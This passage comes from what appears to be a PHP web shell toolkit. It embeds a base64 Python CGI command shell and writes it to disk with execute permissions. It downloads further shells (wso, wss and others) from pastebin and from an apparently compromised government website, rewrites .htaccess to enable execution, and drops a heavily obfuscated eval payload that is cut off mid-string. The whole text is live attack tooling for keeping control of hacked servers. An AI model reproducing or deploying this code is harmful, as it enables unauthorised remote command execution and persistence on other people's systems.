  828. dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
  829. b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  830. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
  831. aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
  832. c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
  833. NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
  834. PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
  835. VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  836. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
  837. cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
  838. IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
  839. aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
  840. dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
  841. Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
  842. d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
  843. aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
  844. ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
  845. XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
  846. W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
  847. cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
  848. PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
  849. IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
  850. ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
  851. aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
  852. CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
  853. ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
  854. cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
  855. ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
  856. Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
  857. IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
  858. dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
  859. ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
  860. IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  861. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
  862. cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
  863. IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
  864. ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
  865. YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
  866. KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
  867. aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
  868. PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
  869. PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
  870. ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
  871. ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
  872. dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
  873. aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
  874. biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
  875. bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
  876. TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
  877. bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
  878. ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
  879. SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
  880. ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
  881. cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
  882. $file = fopen("python.izo" ,"w+");
  883. $write = fwrite ($file ,base64_decode($pythonp));
  884. fclose($file);
  885. chmod("python.izo",0755);
  886. echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
  887. </div>"; }
  888. elseif(isset($_GET['x']) && ($_GET['x'] == 'wso')) {
  889. $file = file_get_contents('http://pastebin.com/raw.php?i=WzKKMmth');
  890. $IIIIIIIIl11I = fopen('inc.php','w');
  891. fwrite($IIIIIIIIl11I,$file);
  892. fclose($IIIIIIIIl11I);
  893. print '<br>
  894. <center><blink><b>Silahkan hapus folder/file yg tidak perlu!! <br> Do It !!</blink><br><br>[ <a href="inc.php" target="_blank"> inc.php</a> ] </b></center>';
  895. }
  896. elseif(isset($_GET['x']) && ($_GET['x'] == 'wss')) {
  897. $file = file_get_contents('http://pastebin.com/raw.php?i=XkTEKBnw');
  898. $IIIIIIIIl11I = fopen('wss.php','w');
  899. fwrite($IIIIIIIIl11I,$file);
  900. fclose($IIIIIIIIl11I);
  901. print '<br>
  902. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="wss.php" target="_blank"> wss.php</a> ] </b></center>';
  903. }
  904. elseif(isset($_GET['x']) && ($_GET['x'] == 'jss')) {
  905. $file = file_get_contents('http://pastebin.com/raw.php?i=yMULZh9u');
  906. $IIIIIIIIl11I = fopen('jss.php','w');
  907. fwrite($IIIIIIIIl11I,$file);
  908. fclose($IIIIIIIIl11I);
  909. print '<br>
  910. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="jss.php" target="_blank"> jss.php</a> ] </b></center>';
  911. }
  912. elseif(isset($_GET['x']) && ($_GET['x'] == 'indi')) {
  913. $file = file_get_contents('http://pastebin.com/raw.php?i=9F4u9FNG');
  914. $IIIIIIIIl11I = fopen('indi.php','w');
  915. fwrite($IIIIIIIIl11I,$file);
  916. fclose($IIIIIIIIl11I);
  917. print '<br>
  918. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="indi.php" target="_blank"> indi.php</a> ] </b></center>';
  919. }
  920. elseif(isset($_GET['x']) && ($_GET['x'] == 'whm')) {
  921. $file = file_get_contents('http://acehtenggarakab.go.id/wp-content/uploads/w.txt');
  922. $IIIIIIIIl11I = fopen('whm.php','w');
  923. fwrite($IIIIIIIIl11I,$file);
  924. fclose($IIIIIIIIl11I);
  925. print '<br>
  926. <center><blink><b>Tools siap diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="whm.php" target="_blank"> whm.php</a> ] </b></center>';
  927. }
  928. elseif(isset($_GET['x']) && ($_GET['x'] == 'interface'))
  929. {
  930. ?>
  931. <form action="?y=<?php echo $pwd; ?>&amp;x=interface" method="post">
  932. <br>
  933. <?php
  934. echo "<center/>";
  935. mkdir('mysql', 0755);
  936. chdir('mysql');
  937. $akses = ".htaccess";
  938. $buka_lah = "$akses";
  939. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  940. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  941. AddType application/x-httpd-php .cpc
  942. ";
  943. fwrite ( $buka , $metin ) ;
  944. fclose ($buka);
  945. $mysql = 'PD9waHAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIlQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSIpKSAgeyAgIGZ1bmN0aW9uIFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFKSAgIHsgICAgJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSA9IGJhc2U2NF9kZWNvZGUoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSk7ICAgICRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkgPSAwOyAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gMDsgICAgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NyA9IDA7ICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgPSAob3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMV0pIDw8IDgpICsgb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMl0pOyAgICAkVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBID0gMzsgICAgJFQ4MDA2MTg5NDMwMjUzMTVGODY5RTRFMUYwOTQ3MTAxMiA9IDA7ICAgICRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPSAxNjsgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NiA9ICIiOyAgICAkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGID0gc3RybGVuKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkUpOyAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gX19GSUxFX187ICAgICRURkY0NDU3MEFDQTgyNDE5MTQ4NzBBRkJDMzEwQ0RCODUgPSBmaWxlX2dldF9jb250ZW50cygkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1KTsgICAgJFRBNUYzQzZBMTFCMDM4MzlENDZBRjlGQjQzQzk3QzE4OCA9IDA7ICAgIHByZWdfbWF0Y2goYmFzZTY0X2RlY29kZSgiTHlod2NtbHVkSHh6Y0hKcGJuUjhaV05vYnlrdiIpLCAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1LCAkVEE1RjNDNkExMUIwMzgzOUQ0NkFGOUZCNDNDOTdDMTg4KTsgICAgZm9yICg7JFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQTwkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGOykgICAgeyAgICAgaWYgKGNvdW50KCRUQTVGM0M2QTExQjAzODM5RDQ2QUY5RkI0M0M5N0MxODgpKSBleGl0OyAgICAgaWYgKCRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPT0gMCkgICAgIHsgICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1ID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pIDw8IDgpOyAgICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgKz0gb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrXSk7ICAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRiA9IDE2OyAgICAgfSAgICAgaWYgKCRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgJiAweDgwMDApICAgICB7ICAgICAgJFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA0KTsgICAgICAkVDdGQzU2MjcwRTdBNzBGQTgxQTU5MzVCNzJFQUNCRTI5ICs9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBXSkgPj4gNCk7ICAgICAgaWYgKCRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkpICAgICAgeyAgICAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pICYgMHgwRikgKyAzOyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NysrKSAgICAgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTddID0gJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyLSRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkrJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1N107ICAgICAgICRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIgKz0gJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgICAgICB9ICAgICAgZWxzZSAgICAgIHsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA4KTsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSArPSBvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSArIDE2OyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REFdKTsgICAgICAgJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrOyAkVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyICs9ICRUOUQ1RUQ2NzhGRTU3QkNDQTYxMDE0MDk1N0FGQUI1NzE7ICAgICAgfSAgICAgfSAgICAgZWxzZSAkVEMxRDlGNTBGODY4MjVBMUEyMzAyRUMyNDQ5QzE3MTk2WyRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK107ICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1IDw8PSAxOyAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRi0tOyAgICAgaWYgKCRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REEgPT0gJFRERDc1MzY3OTRCNjNCRjkwRUNDRkQzN0Y5QjE0N0Q3RikgICAgIHsgICAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gaW1wbG9kZSgiIiwgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5Nik7ICAgICAgJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NSA9ICI/Ii4iPiIuJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NS4iPCIuIj8iOyAgICAgIHJldHVybiAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1OyAgICAgfSAgICB9ICAgfSAgfSAgZXZhbChUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkoIlFBQUFQRDl3YUhBTkpHeHZaMmx1UFNBaWR3QUFkR1lpT3cxcFppQW9JV2x6YzJWMEtBQUFKRjlUUlZKV1JWSmJKMUJJVUY5QlZRZ01WRWhmVlFFZ0oxMHBJRTlTSUFIdkFlUWdJY0NBQk5BRll5SXBJSHNOSUFBUWFHVmhaR1Z5S0FBQUoxZFhWeTFCZFhSb1pXNTBhV05oZEFBQVpUb2dRbUZ6YVdNZ2NtVmhiRzA5SWdFQU1IZ3dJaWNwT3dNNlNGUlVVQzh4TGpBQWdTQTBNREVnVlc1aEErQnZjbWw2WldRQ2xRQUFaV05vYnlBbllXTmpaWE56SUdSbGJnSUFhV1ZrSVNFbkJGTmxlR2wwT3cxOUlHVUNBR3h6WlNBTkRRM2lJR1oxYm1OMGFXOXVRQUJmQWVCemRITW9KMmx1YVY5blpYUW5LVUFJSUFzQkNTUnZibTltWmlBOUlBR0VLQ2R5QUFGbFoybHpkR1Z5WDJkc2IySmhiSE1Ic1pnUEJWUjdEUU1IQkVCZlkyWm5YM1poRHJBRFR3aVFDQkxRSEFZRUVuQXhCd0pBWlhoMGNtRmpGeEFPd1JkVVgxWUFBa0ZTVXl3Z1JWaFVVbDlUUzBsUUVXQUpnVUFDbkVOUFQwdEpSUUtmRFFLZFVFOVRWRjlHSHhoSlRFVUZId2VxQW9JSGp3VDlSMFZVQjE4SFhrVk9Wb1VaQW04TmZRME5GL1VnSjVCdmJpZ1FNaFdESUNRbWtRQ0FVMFZNUmpzTkRRa29NR052YjJ0cFpTZ0FBQ0FpYlhsemNXeGZkMlZpWDJGa2JXa0FEbTVmZFhObGNtNWhiV1VpSUJHQkFxOENwM0FCaG1GemMzZHZjbVFDcndWTmFHOXpkQVZISldJaUFMZzhhSFJ0YkQ1Y2JqR1FDUUVsTExBQkszUnBkQWdBYkdVK1REUnhJRlJ2SUVSaGRHRmlZWE1iQ0dVOEx3R1RBK292TUtFRCsySnZaSGtCSzNOMGVRQVFiR1VnZEhsd1pUMWNJblFoNEM5amMzTWtjbHdpQWxJZ0RRaVZJUzB0QmJFQkZnU0JJSHNCTzJFQUFHTnJaM0p2ZFc1a09uVnliQ2hvZEhRQUlIQTZMeTh5TG1Kd0xtSVg0SE53YjNRdUFBQmpiMjB2TFZob2QwRkJURnBTTUVNNEFBSXZWV0pPYzFkdFZDMWpURWt2UVFBVlN3QUFkeTgyV0RGdVYxZHZSWFpuU1M5ek1RQUFOakF3TDJGdWIyNHVhbkJsWnlrN0lBQUlibTh0Y21Wd1pXRjBPeUJpQjJZdFkyOEJvR3h2Y2pvZ0l6QUFFZ0c2Y3p4QU9pQXhNREFBQUNVN0lHWnZiblF0Wm1GdGFXeDVPa0VBQ0hKcFlXd3NJRWhsYkhabGRFSlFMQ0J6Q0NCaGJuTXRIeEJwWmpzZ0RRVWpjbVZrTzMzRFBnNnpHWE12THkwdEVnUUJFend2RkdJQlFoTTJHWkFWa0hjRUJHbGtkR2c5QjZFZ2FHVnBaMmgwQU1JK1BDRWdkSElBUUdRK1BHTko0R1Z5QTY5bElHTmxiQUExYkhCaFpHUnBibWM5TWdMUUF4SWdCcEk5RDJjZ3d6b2dQUEJ1YzNCaGNnU1FCUDl2SUNJOENKTUUrbmd5TUFVUEc4VUZEd245Wm05eWJTQkVNRTFnUFNjMFppZGdpajRTTVEvbWFXNXdkWFFsYzJocFpGS2dJQzd4UFlEQUEzTWdkbUZzZFdVOUlXQlJrSE4xWW0xcGROcllBK3NMUHpVUkFnNkFZeEVCTVFMOEVjSStNRkFWSUhSa1BqNEZJRHdIK0MxQkI5TTNWUWYwSjJ4dlkyRnNBVkVuQTdSMy95OFpZQXhxQVFBOEJRQUZuekx4QlpkQ0pRV1ZBUVVGanlNRUJZOExHUGRIUkdVTFV3RG1FME1uQVFVRnp3WEVMeFBTUGp4d0Vrc0dHQmNqZ3FzSzFVMWhjM1ZyQk9CaUtHd3ZIb0UrRVBvdkt1UVJBOC9nRXVFQW9HRmlTUkFDZnlOZ0FkQVpBQUovQ3BSd1BqeG9ja1FBSURJVE16QXdCcnRvTWo1TmVWTlJUQ0JKUUFCdWNNQm1ZV05sSUVKNUlFRmxjblZzUEh0eEx3SFFCeHRJOFFRTEwxVFhZSDVmRUJOZzZ4dEZMQ0FrRmpYa0JBQ3dJZUVya1NBc0xwWTdEUWxwWmlna0FhWTlQUUw3SnljcERRa0pBU2dnSmJnQzhHTS9ZemNIZFNJRzBBREZmLzhnWm85cEt3b1ZBMUVBeFFOZmJId0xGUU5SQU1VRFVoajBFeEpuelFFSUJBQk5SVlJCSUlOUkxVVlJWVWxXUFZKbFpnQUFjbVZ6YUNCRFQwNVVSVTVVUFNjd093VWdJRlZTVEQwU2xqOCswejFzalBCRVFuTW5QcjhBQk5ndmFiSUJHbS9SQVJBYTZRbWhVWFZsY25sU1pYTVVRSFZzZEJzYmNRR1JVM1J5RTVCbGNuSk5jMmZKRUh5QkdhQWdKQUR6SUQyaHNDSWdLUUVISUNKVGRlY2RtNklHY0J4QklDUUVSYVJ5QXNGN0RRbHZOVFJ5UjJKd1dHUi8velVtTkFJbVIzTUtJaTdEUXNBRlJnRWpMK0Vxd3dOc0RUTUNVd054QzFQdW9BRURBMTg5WFgyTjJ4WWhnS1J6RW10dElHRklZVzVrYkhTUFpSS1FqemtWMFNDSFVERStoRlZ6SUV3RWtEWHdWZlJjMXZVUFFLRmZMMTh2WHk5bFh5dGp0OEIwWlVSQ0ZKUUlORW00VlVjM2YyUmlONEVDbjNSbFV6d3pURVZEQllLUTVnbXNUSzlIa0FXakRqYnd5QjduWmtZZnp5WWhKSEJFUXJyd0ZZSmZiQk1BWDJSaUJoaHpLQ0FrYlJhWE5XSWtiblZ0QW9ZQXdGOXliMzJDZHdLQkEvRStBUlZBQTJCcEFqQXpnQ1JwSUR3Z0F5RTdBbjhnSkdrckt5Q3FnZ2trRUVNQ01BWFNCcEFSTVFOZ0JFQzV3QnpRYVFhQ0pYZ21qR1ErQkJRbFVnSGVQR0VnYUhKbFpLUm1mRGc3R1ZSaFhYQnpKZ2dqUFFTVUp6NEJjend2ZU1CaGN5TUZYd1ZmUUdSa2NtOExjQVVkSUc5dVEyeHBJQUJqYTZmQWNtVjBkWEp1SUdOdmJtWnBjZ3hCYlNnblJBTVFIU1lnWENjSVJGd25QeWNwcWdEK1hnSHhDSS9aNEk4UVoyQUlqd2lGZFcwSWp5Y0lqd2lIQXhBSWoyWDcrd2lHQWZBSWp3aUNQSGQ5Sm9ZOGxCT1NUcmt4cER4VVBFOXNQRVlaTS8vYklBQTgyU0lUQkZNaWdDSkFBbllCc2dQakl4SnNLMEEvSmlnb3NBaDUzNzhhWWdoZmJDNEtCOEFGNWdoZkJERUlQM0VNRkFnL0NEMEtBU1p6RUcvemhnUlVDQi9jWWhaV2FERXFsRTBjTXNWd0lHTnMyckNvRUdOejdtSDUwVEtYazFsUmRXZW9mSEJLNUR1UXIvOUdSenhOT0svL0lQNy9uTE1hNHc2eVNOTUo5UVBmUDRFOUYwTUQxRERrQTU5U0JGU1hUYUlFRWVPL0FzOEN4RlRQZEdVZ0NZSU5iRlNmUEJEdjlURURqQTBmQ1FGaHUvbmhlTElLUHdvMEZGa1FqMjFsQTU4RGxCQ0MzL0U5TVRJd3RTUC9uUWFpZzVBRFR3TkVFUXNnY2cwY0VKOWxLQ1J3RThKYmRpMFJYeGhpL0VOZ0FRdmtONENrZ3FiZ0F1UTlJREJmaFcxelp5QUQ5b0dRTUFKdmNqSlJpYVpvTXo1RmNuSnZjaUE2T1hCelY4ZG5leEF6dnZjSlZJTXJBRWRRWlRFRWxtNTFiV2hXQjBNSVV2ei9MWFFLRW04eWNCL1hNWS9VRFFrZklFWHdhNTlybVFUU0hrRUgxZ0VtNys4RHdCSURQRkJwUU9HWEtNZ2xNSldSZ0ZLU0Q2VWtCR1lCZW00UDIxSGdCUUk3WVE5aEJIWnBaWGRUWTJobGJXRnB6Q1lHMWs3L1BRZUhKejRDdzE4aEJoc3ZDdDBJVHdoUENFaFpNUWd2ZUZBVWNmLy9DQ29Db1FnUENBOEpIZ2dQQ0FSYk1TRWlDQjhJSDNMUGUwd0VvbnNSRkJiOVAzTEdmVEFMcnd1dkM2K0t2Mk5ia1Qxa2QrQUhBZ3V2QzY4THJ3dW8vLzhFa0